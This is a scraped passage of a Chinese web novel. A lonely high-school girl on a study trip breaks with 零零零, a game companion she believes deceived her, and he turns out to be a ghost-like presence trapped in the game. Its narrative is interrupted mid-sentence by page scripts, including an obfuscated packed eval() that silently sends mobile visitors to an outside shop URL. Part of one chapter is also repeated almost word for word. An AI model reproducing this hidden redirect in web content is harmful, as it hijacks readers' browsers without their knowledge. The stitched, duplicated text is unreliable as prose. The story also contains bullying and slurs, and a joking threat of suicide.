“我不是那个意思。”韩思感觉自己有点糗,赶紧找补,“我认识他,所以就问一下。” 那女生好奇:“你们怎么认识的呀?” “呃,小学同学。”说出来自己都不信。 “小学?” 韩思率先站起身摆手:“我先走啦。” 她不会聊天,但很会生硬地中止话题。 逆着人群穿梭,步伐平稳但愣是头都没敢回一次,她得悄悄离开食堂,因为莫名害怕被发现。 就像饥肠辘辘的小偷盗窃完糖果走出超市,警报没响时还庆幸,但超市里的员工闲谈说什么东西又被偷了,虽说偷的东西也不值钱,不值钱的小偷听见了总是心慌得要从嗓子眼里跳出来。 因为是个从来都循规蹈矩的小偷呀,这是她第一次偷东西,她以为那是给她的糖果。 “你有女朋友吗?” “没有。” “那你有喜欢的人吗?” “不能有。” 韩思一出食堂门就开始加快脚步,逐渐转变为落荒而逃。 此时是饭点,除了食堂寝室外的地方都没什么人,她找了间空荡的教学楼缩进去,走廊里的灯都关得差不多了,有些昏暗。 喧嚣嘈杂在背后远去,她点开好友列表,在是否删除的选择里停顿了会儿,最终在是否加入黑名单里选择了是。 先做套题冷静会儿吧。 另一边,把名单组交给沈温安的女生顺嘴提了句:“哎主席,刚我遇到了个女孩子,她说是你的小学同学。” 沈温安也好奇起来:“林参你的小学同学?你高中前不都是在海外读的吗?” 林参不置可否,眸子微眯:“刚帮你捡名单的女生吗。” “是的是的,你们看到了啊,她人挺好的呢,看校服好像是什么第七中学,以前没见过,今天好多他们学校的人。” 林参:“A城第七中学的高三,不是我们市的,他们今天过来研学旅行。” 沈温安捂嘴笑道:“我还以为她在瞎扯呢,原来你还真认识她。” “没有,我不认识她。”林参摇头,“当时M国小学里都没几个国人,我看她脸很陌生,应该是不认识的。” “排队到我们了温安,吃什么?” 32. 振翅(8) 集合时间一晃就到,边发呆边做题,一张试卷结束刚好十二点五十五,韩思卡着一点走到集合地点,沈老师在前头点名:“嗯韩思也到了,现在还有潘邢那几个没回来,早知道不放他们走了,你们谁有他们电话,打一个。” 他们不归队就没法出发去下一个任务点,韩思叹口气,站在队伍最外围,她现在大脑像是一团浆糊,归心似箭,只有回酒店躺着的念头。 同样站在边上的还有个从云舒,同为班级里的边缘人,他身上校服又是脏兮兮的,大概是昨天被潘邢按在草地里打过,这酒店衣服洗了也没法烘干,还有点泥土痕。 天气今日跳水般的大降温,听说明天要突破零下,他就这一件薄薄的校服外套不冷吗。 一想到早上零零零还在提醒记得多穿点衣服别着凉,不然自己也多半这次出门也一件薄校服冻得像只鹌鹑。 可是咝咝的冷风无孔不入,就算多穿了一件外套,韩思还是感觉有些冷意在攀爬。 为什么呢? 那样明媚张扬似阳光的少年,为什么会骗她? 突然后背被人猛猛一拍,差点儿没站稳。 “等会儿韩思,有情况你知道不!”李轩玉大剌剌地大声说道,好像发现了什么很震惊的事情,但话说一半又被陈岁安拉了拉袖子。 陈岁安在疯狂小声说:“你别直接说了吧,等会儿回酒店再说。” “这有什么的,韩思又不喜欢他。” 陈岁安的声音更小了,抓紧李轩玉的手臂凑在她耳边,神情紧张:“那万一呢万一。” 她时不时向韩思也投去紧张的目光。 看这反应,多半也能猜出她们想说哪件事了。 A大食堂也就这点地方,碰面是多容易的事儿啊。 “万一真喜欢不就更得说了?”李轩玉拉下肉肉的手臂桎梏,挣脱出来,一脸严肃地冲到面前,“你朋友是个妥妥的超级无敌大渣男!” 劝失败的陈岁安小心翼翼地看了眼韩思的神情,被如此重磅消息冲击,她会。 没有疑惑没有惊讶更没有难过。 韩思的声线还是很平静,甚至有些好笑的自嘲:“嗯,我知道。” 这下换李轩玉惊讶了:“你知道?你知道什么了?难道你知道他有女朋友的事情?而且是联姻对象你懂不懂?大学就订婚的那种!你不会因为这个所以才做他朋友的吧?舔狗要不得啊大学霸!而且还是插足别人的感情。” “就算想以后找机会上位你也不可能,他家里的背景是S市著名的科技连锁集团,这种上流人士不可能和普通人结婚的。”她说话和连珠炮一样,突突突地都找不到缝隙解释,“就连我们家我爸妈都不会允许我找一个没钱的普通人,你就更不用想了。” 看她越猜越歪,韩思赶紧扬声打断,“我也就刚知道,刚中午吃饭的时候。” “哦哦吓死我了。”李轩玉情绪激烈得多,好像被人欺骗正在义愤填膺,“真是的,我还花时间想送什么生日礼物,长得是帅气,怎么就是个大渣男呢?有女朋友的事情不早说!我刚出门撞见那狗男女混在一块儿,气死我了。” 韩思叹了口气。 一个小时的时间,足够让她平复下酸涩心情,理智到甚至都小声地替人反驳了下:“不过确实他也不知道你要追他,那个女生也不一定知道。” “你还替他说话?”李轩玉恼得很,竟突然伸手抓手机,碍于距离过近又猝不及防,手机被她一把抓走。 韩思赶紧伸手想要拿回:“你干什么?” “陶珏说他加你好友了,我看看你删了没。” 000在置顶位置,打开绿色软件印入眼帘的第一个就是。 “是这个吗?你拉黑了?拉黑还不够,这种渣男要赶紧删了。” 删除键在眼前被按下,不过是短短电光火石间,韩思没反应过来,陈岁安也看呆了。 干完这些事的李轩玉松手,韩思抢回了手机,攥紧在手里。 一眼扫过能看到连同回忆的聊天一并被删得一干二净,本就没几个联系人的对话框里此刻更加空落,好像占据心底的陆地也忽然空了,她站在地面,又好似在坠落。 她面色瞬间苍白,无名的怒火升腾:“我自己有决定,你删了干什么。” 李轩玉不可置信:“你不会恋爱脑吧你?还冲我发火?你不会还念想着人家吧?去做小三吗?” 接连的质问就像铡刀,一次次落下。 怒火失去准头,焉了。 可她只是想把回忆留个念想。 陈岁安见两人的氛围有些剑拔弩张,旋即硬着头皮做中间人劝解道:“这是韩思自己的事情,李轩玉你直接抢人手机真的不好。” “呵,陶珏都比你清醒,我刚和他说了。”李轩玉冷笑了下,“他等会儿上线就把你朋友删了,这种渣男留着过年啊。” 李轩玉说完就走了。 陈岁安倒没跟着走,她把背包翻道身前,从房杯子的地方拿出杯崭新的奶茶还有吸管,一并递过来,胖乎乎肉嘟嘟的女孩小声道:“你应该挺难过的,但是别想不开啊,李轩玉说话也比较直。” 韩思愣了下,摆手疲惫地拒绝“不用”。 陈岁安把奶茶往韩思手里一塞,力气可大:“买了就是给你的,对不起啊因为我要陪我朋友,刚中午没办法陪你走。” 韩思并不在意这些,反倒是陈岁安会因此向她道歉而感到意外。 “那谢谢你。” 陈岁安见她收下奶茶,露出心满意足,腼腆道:“我先过去找李轩玉了,她也在气头上。” 韩思稍许冷静下来点了,苦中作乐幸好她站在队伍在外围,说话声音也不大,那些个同学们大概都没听见,不然她又会成为一桩在班级里传开的笑料,惨上加惨。 边上唯一站着的熟人是同为班级透明人的从云舒,不过他不是那种会传谣泼脏水以此为乐的脾气。 “手机聊天记录可以恢复的。” 从云舒竟罕见地主动搭话了。 “嗯,谢谢。” 不过韩思没心思聊下去。 也许被李轩玉删了是天意,她说得怎么不对呢。 天气预报说中午时受冷空气南下影响,大概率下午会下雨,气温也跌得厉害。 韩思退出七零八落的聊天界面,看了眼手机锁屏,已经差不多一点半了,预报不太准,天气还算清朗。 就是气温确实很冷,有点儿刺骨,她打了个哆嗦。 站在最前头的沈老师和身边的几个同学打了好些个电话,但潘邢那种人接了才奇怪,接连好几个打过去,只有一个打通了,沈老师的语气已经很生气了:“你们快点给我滚回来。” 沈老师是年轻教师,上任也就第二年,上一个语文老师听说被气走了,她中途被拉过来教韩思这个班的语文,之前在办公室里常常听十班班主任说这群学生缺德又坏,还想着学生而已能坏到哪里去,上语文课虽然有时候气他们不听课,但至少课上没做过什么出格的事。 结果一接手就踩了经验太浅容易信任学生的坑,哪里知道还会有高中生如此出格大事也不听指挥,挂了电话连声道:“下次绝对不会让这种人离开队伍了,好心当驴肺气死我了。” 韩思没忍住偷偷地想。 不会因为潘邢下午的计划就都泡汤了吧?泡汤了也好,说不定可以直接回酒店了。 可天不遂人愿,背后传来潘邢恼怒的声音:“滚开,别挡道。”他总是一副火气冲天看谁都不爽的态度,哪怕也没人敢惹他。 韩思回头,还没反应过来他在说自己,就被他不由分说地用力推了一把。 她本就站在花坛和地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 面的交接台牙边上,猛然一推差点踩空掉下去,幸好被人扶了把才站稳。 “喔唷从云舒你移情别恋了?上次的猪头妹不要了这次换一个了。” 满怀恶意的调侃响起,说这话的人是潘邢一个小弟,大概是看潘邢心情不好就故意找点事,让他好发泄发泄火气。 不知什么时候边上被那几个高大的男生围住,被逼堵在角落,浓重的烟味的袭来。 这些人看似因外在压力而被迫消停了段时间,但他们的恶意却从来没有消失过,找准机会就释放在最底层、被欺负了也不会反抗的软包子头上。 那人犹如在看件商品般挑挑拣拣:“审美还挺烂的,不过好歹是个学霸,潘总你说呢。” 潘邢上下打量,冷笑道:“把头遮了能用。” 韩思花了点时间才反应过来他这话是什么意思。就因为之前惹过他,他话说得侮辱人到极点。 潘邢又上下扫过韩思的脸,不悦道:“看什么看?你也想挨揍是吧?” 韩思匆匆收回目光,嘴唇抿得很紧,余光瞥见从云舒身上的校服,很脏。 昨天晚上拿外卖的时候,偶然撞见的从云舒挨揍还历历在目,潘邢和条疯狗一样,就算老师在不远处,就算光天化日大庭广众,他一言不合也很有可能上手打人。 一直默不作声的从云舒忽然大声喊:“老师,潘邢回来了。” 声音之大不像是告诉老师,更像绝境里的反抗,韩思侧目。 外头传来骚动,围堵自己和从云舒两人的人墙松动,前头好多学生本在聊天或者低头刷手机,一听有动静就下意识转头,议论纷纷。 “哎潘总可总算回来了,我还以为他直接溜走了呢。” “那沈老师不得完蛋咯。” “他们在一起干啥呢?韩思勾搭上从云舒了?” “还是潘总在打人比较有可能吧哈哈哈。” 又见沈老师放下电话骂骂咧咧地从不远处快步走来。 “这帮小兔崽子,下次绝对不放你们自由活动了,给我过来集合!快点的!” 潘邢见良机错失,怒目而视,尚未抽完的烟头扔在地上,脚掌拧过,临走前狠骂从云舒:“臭婊子养的贱货,你等着。” 潘邢人高马大,他一走韩思就松口气:“谢谢。” 特别浓厚的愧疚在心中盘旋,几乎在从云舒喊老师的同时,她的脑海里就回放到昨天夜里的画面。 那个时候是不是也仅需要一声喊老师过来,从云舒就不会被按在泥地里揍那么久,隔着酒店玻璃后门,都能看见拳拳到肉。 但她也仅仅是因为不想暗恋的小心思被李轩玉告发,因为那么可笑的理由对被欺凌的从云舒视而不见,选择逃避。 也许是天道好轮回,她渴慕的偷窃来的如获珍重的爱,到今日落笔在现实里却成了个荒唐的笑话,当头一棒般告诉她,那个少年对她其实只有欺骗愚弄,逗着玩而已。 这是她的报应。 也许是愧疚使然,比起自己的逃避,从云舒竟伸出援手更让韩思坐立难安,她忽然坚定说道:“昨天晚上潘刑打你的事情我们都看到了,还有之前的也是,等高考完就会举报他的。” 韩思目光落在地面上,认真道歉:“对不起,这次上次都没能站出来。” 然而从云舒的反应很奇怪,先是愕然,继而是恐惧。 隔了段时间都没得到回答,韩思刚想着不被原谅也正常,就听他着急说道:“不用举报!昨天晚上的事情,不要说出去。” 韩思心生困惑,但还是点点头。 从云舒又张嘴说道:“还有不要被潘邢发现你在场。” 那双浓眉下偏小又因近视微微突出的眼睛里,闪过高中生年纪尚小还藏不住秘密的惊惶。 但韩思太过疲惫,她点头答应,没有追问。 33. 振翅(9) “李轩玉你刚不上厕所现在上什么?都集合上车了没听到?” 李轩玉撒娇道:“沈老师,很快的,厕所就在边上。” 沈老师拿她没辙,唉声叹气最终还是挥挥手:“行了行了你先去,其他人整队准备上大巴,女生先上走前面,快点动起来。” 看队尾又有个人举手,沈老师竖眉瞪眼:“陈岁安你怎么回事?你也要跟着去吗?” 陈岁安有苦说不出:“沈老师我真的急。” “算了去去去,快点回来。” 小跑到最近的教学楼,李轩玉果然不是真上厕所,站在昏暗的楼道里貌似在打电话。 “他说什么你就信什么啊?万一他在骗你呢?”李轩玉看见有人来了还愣了下,话说一半猝然中止,“陈岁安你怎么来了?” 陈岁安:“上厕所。” 她是真的奶茶喝太多了。 陈岁安推开隔门进厕所,外头的李轩玉打电话的声音渐渐变小,她貌似走远了些。 但走廊空旷,落针可闻,还是能依稀听见几句:“怎么?世上还能有克隆人啊?” “就韩思那包子脾气,说不定听几句好听的就原谅人家了,上赶着做三。” “行了你别说了,我答应你成了吧。” 陈岁安洗好手出门,李轩玉刚好挂断电话,还在烦心地念叨:“真是的,和我有什么关系,还打电话给我。” 陈岁安想帮忙排忧解难下,也大约猜到了估计是陶珏,问道:“是谁打来的啊?” 李轩玉轻轻瞥了眼:“没你什么事。” “哦……” 她乖乖跟在李轩玉后头走出教学楼。 不过陈岁安虽然成绩不咋地智商也一般,但好歹正常人水平还是有的,李轩玉打电话时说的那么几句也能推断出来,估摸是韩思那个朋友被删了以后想通过陶珏李轩玉再次联系上韩思。 反正李轩玉也答应了,没自己啥事。 “喂!你们两个上厕所的快点!车要走了!” 沈老师的催促声传来,陈岁安经过的时候她还在苦恼地碎碎念,“真是的,你们两个上个厕所也这么磨叽。” “哦对了李轩玉,你稍等一下,刚有学生过来说你把他们S市附中的学生莫名其妙骂了一顿,是发生了什么事吗?” “他们活该。” 想不到李轩玉说话也这么刺头,沈老师愣了下,认命般摆手:“算了你先上车,等会儿到博物馆了我再和你谈一谈。” 李轩玉的冷哼声从鼻孔里发出,上车一眼就看见神色低落的韩思。 那帅哥特地托陶珏来解释,说这里头有误会。 陶珏也是个蠢货,还真偏听偏信。 她才不信呢。 要是真是误会,那她这么义愤填膺的,不就成小丑了吗。 李轩玉刚坐下就看到手机上唰唰唰来了好些条陶珏的消息,点开无外乎都是打听说没说,结果是啥。 她扯扯嘴角,索性敲下:【刚就解释了】 -【她打算回消息吗?】 【手机在她手里,我怎么知道?】 同一辆车里的韩思目光漫无目的地扫过车窗外,景色飞逝向后退去。 陈岁安和李轩玉一前一后从厕所回座位,刚坐下大巴呼啦呼啦就启动,暖气从顶上打落,车上声音嘈杂还有男生的烟味臭汗味混着。 但倘若开窗,疾驰的车把外头的冷风放大了十倍,南方初冬的风是硬的,拍打在脸上还有点疼。 司机师傅是个老手,上年纪的大巴被他开得飞快,S市的路面分明还算平稳,但随方向盘灵活变道超车,上下颠簸得不行。 空气不流通碰上颠簸的路面,产生的化学反应就是恶心上泛,这也是韩思在来时一路都插着耳机的原因,注意力转移能让恶心好些。 她下意识从包里翻出耳机塞进耳朵,又没来由地想到这下总算不会有一些奇怪的声音突然出现,好像是藏着少年偷摸故意使坏的坏心思。 因为她把他删干净了。 接下来就得把他从生活的痕迹里也删干净。 生生把一个熟悉的人从已经习惯的生活里剐去,对她而言可能像一场漫长的祛除霉斑,可对她这种活得像劣质木头的人来说,霉斑太深了入木三分,晒几天太阳可能不够。 她迟疑片刻,耳机最终还是没有播放音乐。 廉价耳机就连隔音效果都做得很差,能清楚听见后排的男生在聊天,还是她现在最不想听的内容: “哎我发现了条偷跑的消息,有大哥解包了说今天晚上零点的《仙缘》的更新,是要把Ai标签做出来。” “这算什么消息,这不老早就有了吗?” “nonono,之前的标签只是一部分,听说还有一批的Ai在游戏最初时以玩家的身份进入了游戏。” “我靠,这游戏厂商造流量假象用这种方法?” “看评论说那个信息泄露的帖子,贴Ai标签就是因为那个帖子打官司了,结果出来是那个玩家和其他玩家提起过自己的姓名口味什么的。” “然后游戏公司非法保存了这些数据?” “nonono,是发现那个玩家是Ai假扮的,然后Ai内部信息共享,真是好惨一兄弟哦。” “就这点屁事,等会儿,那照这么说一直和我聊天,看上去对我有意思的美女,不会是Ai扮演的吧?” “也有可能是男的哈哈哈哈哈!” 恼羞成怒:“臭傻叉给老子滚。” 那人又突然压低声音:“今晚要不要偷偷溜去网吧?元旦大活抬上来刷刷副本拉拉修为,准备该做起来了。” “真去哇?” “去啊为什么不去,酒店三百米开外就有个小黑吧,不用身份证,今晚又是篝火晚会又是平安夜通宵的,谁管你啊。” “可惜潘总退游了,不然潘少爷出手,还能边打边整口吃的,早知道月头不花那五千冲转盘了。” 众所周知,男生就算压低了声音,声音也小不到哪里去,如数被坐在前面一排,塞着廉价耳机的韩思听了个一清二楚。 或许是心情太差,屋漏偏逢连夜雨,车程后半段开始眩晕头疼,身体不适和心理重压双重作用下,干哕两下没吐出来东西,倒是吓了陈岁安一跳。 韩思面色苍白,但赶忙向陈岁安解释:“我没事,晕车而已,下车就好了。” 下车后浑浑噩噩地跟在队伍的最末尾,也不知道下午做了什么。 总之最后还是安全回到酒店,她又像一具已经设定好程序的机器人一样,失魂落魄地洗澡刷牙洗漱,换上小仓鼠睡衣的时候还怔愣片刻。 陈岁安在外头问道:“韩思今天是平安夜诶,女生在楼下举行篝火晚会,你下去吗?” “不去。” 咔哒门落锁。 陈岁安一出去这房间里也显得有些静悄悄。 已经十点了。 大概是都去篝火晚会了,研学出行难得碰上平安夜,枯燥压抑的高三生活有了宣泄口,估摸着都要等待凌晨十二点圣诞节当天来到后才会尽兴。 透过玻璃窗能看见楼底下还挺热闹,还有人大声在喊“好大的苹果!”“下雪了吗?”“是鸟屎吧!” 听说平安夜送苹果,能保佑对方平平安安。 酒店也是廉价的小酒店,玻璃窗的隔音效果形同虚设,底下几个人大喊的声音都一清二楚,但地理位置还算不错,离市中心较近。 拉上窗帘前她忍不住站定,远眺窗外能见到S市的标志建筑,还有无穷尽蔓延到地平线的高楼林立,霓虹灯闪耀,远处的高速公路上开往车辆穿行,犹如一片浩瀚星海。 林参。 当头一棒般,韩思忽然醒悟,就算他不是渣男又怎样,风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13901886|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光骄傲的天之骄子也照旧和她这样挣扎着努力才能来这里一睹风光的,是两条线上的人。 即便她站在这里,和他抬头看见的是同样的城市,但仰视和俯瞰却是全然不同的风景。 “幸好是渣男。” 不然她怕自己舍不得放手。 这下可算断情绝爱了,也算是不幸中之大幸。 边小声自嘲边拉上窗帘,厚重的涤纶窗帘布还簌簌地抖落了些灰尘,她被呛得咳嗽了两下。 室内幽暗安静不过须臾,窗外倏然传来宛如流星划破天空的动静。 咻——咻咻—— 外头的篝火晚会的喧闹声本来已经渐渐轻了下去,这突如其来的烟花一闹,嘈杂的纷纷议论再度响了起来,像是窸窸窣窣的背景。 作为主角的烟花耀眼腾空又轰然炸开。 漫天镶着金边的星星点点如大雨般闪烁倾泄,组成红色的大型图案,貌似是…… 一颗巨大无比的红苹果。 苹果底下是MERRYCHRISTMAS,HENS 还有一行中文小字:理理我 死乞白赖的语气就算有绚丽烟花的包裹都无用,似乎能隔着烟花看到少年可怜兮兮的表情。 这种嚣张的行事风格会出自谁手,甚至都不用多想。 脸皮薄如韩思,花费一辈子抓破脑袋都想不到删了好友还能用这种方法再次出现在自己面前。 零零零在干什么? 她蹙紧眉头,下意识摸出手机,在添加好友记录里翻到了那熟悉的简笔画头像,点开是聊天框空白。 怎么?是觉得她卑微到还会腆着脸凑上去吗?韩思冷笑着关掉手机屏幕。 直到五分钟后,一篇阅读理解愣是看了五遍都没读进去,还没来由地想到游戏里初见零零零时,那少年边犯贱喊她胆小鬼,又目光认真地说不要逃避。 韩思烦恼地撇下笔杆,认命般抓起手机发送添加好友,她想看看他到底想整什么幺蛾子。 意外的是,发送的瞬间不是秒通过,而是: 添加失败,对方账号不存在。 好奇怪。 分明就是这个号码。 韩思怔愣,翻来覆去地确认了好几遍,但空白屏幕里仍来来回回重复那一行提醒。 然而因为外头的烟花还在放,气氛并不紧张和生气,反倒有些幽默,大概是相同款式订了好几发,咻咻咻的,就好像零零零本人的厚脸皮,一次不够就多来几次,偏韩思就是个吃软不吃硬的。 “零零零你有病吧。”她在心里骂了好几句,“你说让我理你,这我怎么理你?” 此刻比起厌恶失望混杂成一团乱麻的负面情绪,大如乌云般的不安感连带怀疑萦绕心头。 好奇怪。 她忽然想起奶奶在身边的时候,经常说像她这样的敏感的人,第六感会很准。 确实挺准的,例如做题靠蒙时总能第一个就排除正确答案;例如零零零当时让她砸落苹果的时候,她就有种闯祸的感觉。 例如她觉得零零零可能不是林参。 例如零零零可能真的,不存在? 推想一出来,韩思本人都吓了一跳,她呸呸呸了两下,目光投向桌角。 李轩玉本来打算今晚继续呆在这儿通宵平安夜,游戏的投影设备就没拿走,不过今天不欢而散,所以她叫上陈岁安去楼底篝火晚会了。 小偷就小偷,恋爱脑就恋爱脑吧。 她现在还真有点恨零零零。 刚打开设备时看了眼时间,是11:55,十二点没过李轩玉应该不会上来。 但偷用别人东西还是紧张得很,韩思掌心微微发汗,托零零零的福和她本人的不死心,她这种胆小鬼也算是刺激了一回,破天荒头一遭。 如果他是林参,她就快刀斩乱麻。 如果他不是林参,她就…… 34. 振翅(10) 零零零想干什么? 韩思蹙紧眉头,下意识摸出手机,在添加好友记录里翻到了那熟悉的简笔画头像,点开是聊天框空白。 怎么?是觉得她卑微到还会腆着脸凑上去吗?韩思冷笑着关掉手机屏幕。 直到五分钟后,一篇阅读理解愣是看了五遍都没读进去,思绪蔓延,无端联想到游戏里初见零零零时,那少年边犯贱喊她胆小鬼,又目光认真地说不要逃避。 韩思烦恼地撇下笔杆,认命般抓起手机发送添加好友,她想看看他到底想整什么幺蛾子。 意外的是,发送的瞬间不是秒通过,而是: 添加失败,对方账号不存在。 好奇怪。 分明就是这个号码。 韩思怔愣,翻来覆去地确认了好几遍,但空白屏幕里仍来来回回重复那一行提醒。 然而因为外头的烟花还在放,气氛并不紧张和生气,反倒有些幽默,大概是相同款式订了好几发,咻咻咻的,就好像零零零本人的厚脸皮,一次不够就用无辜的表情多乞求几次。 偏韩思就是个吃软不吃硬的,总是能奏效。 “零零零你有病吧。”她在心里骂了好几句,“你说让我理你,这我怎么理你?” 此刻比起厌恶失望混杂成一团乱麻的负面情绪,大如乌云般的不安感连带怀疑萦绕心头。 好奇怪。 她忽然想起奶奶在身边的时候,经常说像她这样的敏感的人,第六感会很准。 确实挺准的,例如做题靠蒙时总能第一个就排除正确答案;例如零零零当时让她砸落苹果的时候,她就有种闯祸的感觉。 例如她觉得零零零可能不是林参。 例如零零零可能真的,不存在? 推想一出来,韩思本人都吓了一跳,不是人难道是鬼吗?她呸呸呸了两下,目光投向桌角。 李轩玉本来打算今晚继续呆在这儿通宵平安夜,游戏的投影设备就没拿走,不过上午不欢而散导致她现在也不搭理韩思了,叫上陈岁安去楼底篝火晚会。 不问自取视为偷。 韩思咬牙。小偷就小偷,恋爱脑就恋爱脑吧。 她现在还真有点恨零零零。 刚打开设备时看了眼时间,是11:45,十二点没过李轩玉应该不会上来。 但偷用别人东西还是紧张得很,她掌心微微发汗,托零零零的福和她本人的不死心,她这种胆小鬼也算是刺激了一回,破天荒头一遭。 大概是因为快到零点了,底下篝火晚会喧闹声不绝于耳,在霓虹灯闪烁的静默夜景里,依稀能听见有人在大声喊:“下雪了真的下雪了。” 绵密的细雪漫无目的地飘荡,灯光折射成星星点点的白色,像是一只只银色的小蝴蝶在翩跹,可天气尚未完全入冬,雪点又太渺小,卑贱若尘埃,转瞬消融湮灭,尘归尘,土归土,仿佛不曾来过。 天气预报倒没报错,只是雪来的时间晚些了。 在韩思看向窗外时,身后传来了甜甜但语调异常平稳的小女孩声音,像是人工智能。 “看样子你算得也没那么准,你看姐姐她这不是来找你了吗?” 转头回看竟是筱花,曾经几面之缘的百花谷卖花小女孩NPC,可能是为了圣诞氛围,游戏里的小女孩戴着俏皮的圣诞帽。 韩思回头有些讶然:“你说算什么算得那么准?” “他说你今晚找他的概率不大于千分之一。” 筱花从虚拟对话框里抬起头来:“汉斯姐姐是来找零零零的吧?他还在小黑屋里搞那些你们世界的小玩意儿,不过我已经通知他你来了。” 不知为何,听闻零零零不在反倒是松了口气,韩思甚至有心情问道:“他在搞什么小玩意儿?” 筱花认真思考了一番:“烟花大屏礼物之类,具体到哪个了我也不清楚。” “他搞这些做什么。”韩思大骇:除了烟花还有其他的??一个烟花对社恐来说已经够吓人了,请他必须立刻停止这种恐怖行为。 筱花恍然大悟般‘啊’了下:“所以是你打算把离婚贯彻到底,坚决不要零零零了吗?” “什么离婚,我和他都没结婚。”天知道筱花这天马行空的想象是从哪里来的,韩思赶忙流汗解释清楚,“不对,我们都没在一起,谁和你说的结婚。” 不对,天杀的,什么叫她不要零零零了? 渣的人明明就是…… “零零零被你甩的那天,难过得稀里哗啦,我还以为你们是小夫妻。” 零零零到底给这个单纯的小女孩灌输了什么?? “被我甩?”韩思气急反笑,“明明是他该解释一下,分明自己有未婚妻却不知道和别的女生保持距离。有钱长得帅就可以为所欲为吗?” 筱花看模样也不过是七八岁的小女孩,估计在游戏里的设定也是如此,听完韩思一长串的愤慨后小脸上是显而易见的云里雾里:“啊?” 韩思安抚拍拍筱花的脑瓜子:“没事,你还不需要理解。” “虽然没听很懂,但能听出来。”筱花豁然开朗,随着认真用力点头,她的小辫子一跳一跳的,“我先前果然没看错,他果然是渣男,姐姐甩他甩得对。” 颇有墙头草随风倒的风范。 “对。”韩思也点头,“他再不上线就算了,我要睡觉了。” 再不上线零点一过,李轩玉倒是要上来了。 一腔冲动想和零零零说明白说清楚的热血好像也冷静了。 毕竟胆小鬼的勇气也就只有这么点儿。 话音未落。 气急败坏的冷哼响起,人未至声先到:“对什么对?” 少年闪现在筱花的身后,先是用目光轻而又轻地擦过韩思的脸颊,最终落处却飘忽不定。 难得一见他说话轻声闷闷吐槽般的模样,虽然说的话还是很臭屁:“长得帅我承认,但我没钱,我还是个穷光蛋,所以有没有一种可能,你见到的人不是我。” “相处那么久了,你怎么连是不是我都认不出?” 他倒是先责怪起来了。 说完他又朝着筱花碎碎念:“还有你怎么又说我坏话?当时不是都担保了要帮我的吗?” 筱花瘪嘴,耸肩摊手:“那我回游戏了,祝你好运咯,看情绪波动分析姐姐受到了大挫折,恢复如初的概率基本为零。” “你这张嘴是怎么卖得出去花的?怎么就没被人投诉过?” 零零零骂骂咧咧,大概也没想到筱花下线开溜速度竟如此之快,好像故意报复似的,这下屋子里瞬间只剩两人。 不得不直面。 零零零用力闭了闭眼。 就算清楚只是个误会,但删好友是不是真的仅因为误会,说清误会后她又愿不愿意相信,仅以游戏为纽带的关系本就如履薄冰,受不住一点猜忌与怀疑,恢复如初的概率太渺茫。 分明很好解释,他是困在游戏里的幽灵,拥有完美的不在场证明。 如果说一开始是为了游戏任务故意隐瞒,现在他是无法开口,不会有人愿意接受如此荒谬的事情。 她曾经很坚定地说,人和虚拟,是不一样的。 落针可闻的尴尬寂静里,保持着侧脸垂头姿势的少年率先艰难开口。 他扭过头来琥珀色的眸子清亮,因为投影的缘故更显得像是在窥探的幽灵,因为皱着眉眉眼压得很近,盯上韩思的脸。 “能解释的已经解释完了,我真不是渣男,你……实在不愿相信的话,反正信不信由你,最多现实生活里被我骚扰个几个月。” 一句短短的话说完,视线又立刻错开。 韩思眉头一皱:“等会儿,你还想干什么?” 零零零好像唇角扯出吊儿郎当的笑容,打趣道:“筱花不是和你说了吗,订制完的惊喜都得物尽其用。” 但这笑容似乎不如一贯的轻松,而是有些僵硬,向来运筹帷幄的眸光也被细密的睫毛掩藏,不知在看哪里。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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零零零故作惊讶:“诶?” 静下心才听见,楼底下的喧闹还挺响,好像异口同声地都在说什么。 “十——” “九——” 韩思回头看手机屏幕,11:59。 “圣诞节前的倒计时吗?” “嗯,还有四秒、三秒……” 外头又是烟花咻咻咻燃放上天,这次是绿色圣诞树的造型,圣诞树下,大绿还配大红的礼物盒,放在寻常日子里很土的搭配,圣诞节却美轮美奂大放异彩。 MERRYCHRISTMAS,HENS 底下又是一行小字飘过:再不理我我自杀。 始作俑者不仅没自杀,还懒洋洋道:“可是卡圣诞节的点也给你准备了烟花,好像来不及取消,你脸好红啊汉斯小姐,还有好几发呢,等会儿放完别熟透了。” 他先天缺失害羞功能吗? 韩思有气无力:“下次不要整这些……” 零零零促狭笑得很轻快:“为什么啊?这不是挺有用吗。” 他并肩站在韩思的边上,目光却从未从韩思的脸上离开一刻,任由外头的烟花绽放又坠落,不曾入眼。 被逼急的韩思:“滚。” 她抬头,面庞被升腾起的火星映照亮了瞬息,笑眼里倒影烟花的少年身后,玩家ID的边上,标签好像更新了什么。 定睛看清的同时,陡然回想起在校车上后排的男生说了今晚游戏有大更新。 什么更新来着? 现实投影功能用的是游戏里的特殊房间,也就是说目前零零零是一个人呆着的。 韩思瞳孔微缩:“你不要回游戏。” “你都没下线我怎么会回去。”零零零还在嘴贫,几个呼吸后也立刻发现了不对,收敛情绪眉稍微挑,若有所思,“怎么了吗?” “等一下我,在这期间你千万不要回游戏。” 35. 飞蛾(1) 可能是初雪的缘故,在这座不怎么下雪的S市,这场雪倒来的纷纷扬扬,张牙舞爪,风又吹,半点不见减小的迹象,反而愈演愈烈。 冷意泛滥,篝火晚会自然也凉了,酒店的隔音效果形同虚设,在房间里都能听见底下一群学生结伴,熙熙攘攘地拥挤上楼,叫着:“冻死了冻死了!”“怎么突然大降温了?”“上楼上楼。” 